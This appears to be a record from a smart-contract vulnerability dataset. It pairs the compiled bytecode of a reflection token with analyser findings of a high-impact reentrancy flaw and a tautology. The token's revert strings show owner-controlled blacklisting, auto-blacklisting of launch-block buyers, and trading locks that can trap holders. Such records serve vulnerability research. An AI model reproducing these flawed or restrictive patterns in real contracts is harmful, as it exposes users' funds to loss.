0152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061d565b6000546001600160a01b0384811691161480159061109357506000546001600160a01b03838116911614155b1561139957601654600160a01b900460ff1661112c576000546001600160a01b0384811691161461112c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061d565b600854431115801561114b57506016546001600160a01b038481169116145b801561116557506015546001600160a01b03838116911614155b801561117a57506001600160a01b0382163014155b156111a3576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6001600160a01b03831660009081526011602052604090205460ff161580156111e557506001600160a01b03821660009081526011602052604090205460ff16155b61123d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061d565b6016546001600160a01b038381169116146112c257601a548161125f846107f0565b6112699190612052565b106112c25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061d565b60006112cd306107f0565b601b546017549192508210159082106112e65760175491505b8080156112fd5750601654600160a81b900460ff16155b801561131757506016546001600160a01b03868116911614155b801561132c5750601654600160b01b900460ff165b801561135157506001600160a01b03851660009081526005602052604090205460ff16155b801561137657506001600160a01b03841660009081526005602052604090205460ff16155b156113965761138482611644565b4780156113945761139447611586565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806113db57506001600160a01b03831660009081526005602052604090205460ff165b8061140d57506016546001600160a01b0385811691161480159061140d57506016546001600160a01b03848116911614155b1561141a57506000611540565b6016546001600160a01b03858116911614801561144557506015546001600160a01b03848116911614155b156114a857600954600d55600a54600e556019548211156114a85760405162461bcd60e51b815260206004820181905260248201527f544f4b454e3a204d617820427579205472616e73616374696f6e204c696d6974604482015260640161061d565b6016546001600160a01b0384811691161480156114d357506015546001600160a01b03858116911614155b1561154057600b54600d55600c54600e556018548211156115405760405162461bcd60e51b815260206004820152602160248201527f544f4b454e3a204d61782053656c6c205472616e73616374696f6e204c696d696044820152601d60fa1b606482015260840161061d565b610bb3848484846117cd565b600081848411156115705760405162461bcd60e51b815260040161061d9190611d83565b50600061157d848661206a565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561068e573d6000803e3d6000fd5b60006006548211156116275760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061d565b60006116316117fb565b905061163d838261181e565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061168c5761168c611fec565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116e057600080fd5b505afa1580156116f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117189190612081565b8160018151811061172b5761172b611fec565b6001600160a01b0392831660209182029290920101526015546117519130911684610e1b565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061178a90859060009086903090429060040161209e565b600060405180830381600087803b1580156117a457600080fd5b505af11580156117b8573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b806117da576117da611860565b6117e584848461188e565b80610bb357610bb3600f54600d55601054600e55565b6000806000611808611985565b9092509050611817828261181e565b9250505090565b600061163d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c5565b600d541580156118705750600e54155b1561187757565b600d8054600f55600e805460105560009182905555565b6000806000806000806118a0876119f3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118d29087611a50565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119019086611a92565b6001600160a01b03891660009081526002602052604090205561192381611af1565b61192d8483611b3b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161197291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006119a0828261181e565b8210156119bc57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836119e65760405162461bcd60e51b815260040161061d9190611d83565b50600061157d848661210f565b6000806000806000806000806000611a108a600d54600e54611b5f565b9250925092506000611a206117fb565b90506000806000611a338e878787611bb4565b919e509c509a509598509396509194505050505091939550919395565b600061163d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154c565b600080611a9f8385612052565b90508381101561163d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061d565b6000611afb6117fb565b90506000611b098383611c04565b30600090815260026020526040902054909150611b269082611a92565b30600090815260026020526040902055505050565b600654611b489083611a50565b600655600754611b589082611a92565b6007555050565b6000808080611b796064611b738989611c04565b9061181e565b90506000611b8c6064611b738a89611c04565b90506000611ba482611b9e8b86611a50565b90611a50565b9992985090965090945050505050565b6000808080611bc38886611c04565b90506000611bd18887611c04565b90506000611bdf8888611c04565b90506000611bf182611b9e8686611a50565b939b939a50919850919650505050505050565b600082611c13575060006106a3565b6000611c1f8385612033565b905082611c2c858361210f565b1461163d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ed57600080fd5b8035611cb981611c99565b919050565b60006020808385031215611cd157600080fd5b823567ffffffffffffffff80821115611ce957600080fd5b818501915085601f830112611cfd57600080fd5b813581811115611d0f57611d0f611c83565b8060051b604051601f19603f83011681018181108582111715611d3457611d34611c83565b604052918252848201925083810185019188831115611d5257600080fd5b938501935b82851015611d7757611d6885611cae565b84529385019392850192611d57565b98975050505050505050565b600060208083528351808285015260005b81811015611db057858101830151858201604001528201611d94565b81811115611dc2576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611deb57600080fd5b8235611df681611c99565b946020939093013593505050565b600080600060608486031215611e1957600080fd5b8335611e2481611c99565b92506020840135611e3481611c99565b929592945050506040919091013590565b600060208284031215611e5757600080fd5b813561163d81611c99565b80358015158114611cb957600080fd5b600060208284031215611e8457600080fd5b61163d82611e62565b600060208284031215611e9f57600080fd5b5035919050565b60008060008060808587031215611ebc57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611eed57600080fd5b833567ffffffffffffffff80821115611f0557600080fd5b818601915086601f830112611f1957600080fd5b813581811115611f2857600080fd5b8760208260051b8501011115611f3d57600080fd5b602092830195509350611f539186019050611e62565b90509250925092565b60008060408385031215611f6f57600080fd5b8235611f7a81611c99565b91506020830135611f8a81611c99565b809150509250929050565b60008060408385031215611fa857600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561202c5761202c612002565b5060010190565b600081600019048311821515161561204d5761204d612002565b500290565b6000821982111561206557612065612002565b500190565b60008282101561207c5761207c612002565b500390565b60006020828403121561209357600080fd5b815161163d81611c99565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120ee5784516001600160a01b0316835293830193918301916001016120c9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261212c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d21ea07bf73869b03dc97e3f30067958d105b4503d05e936916ed2109bf64d864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
3,899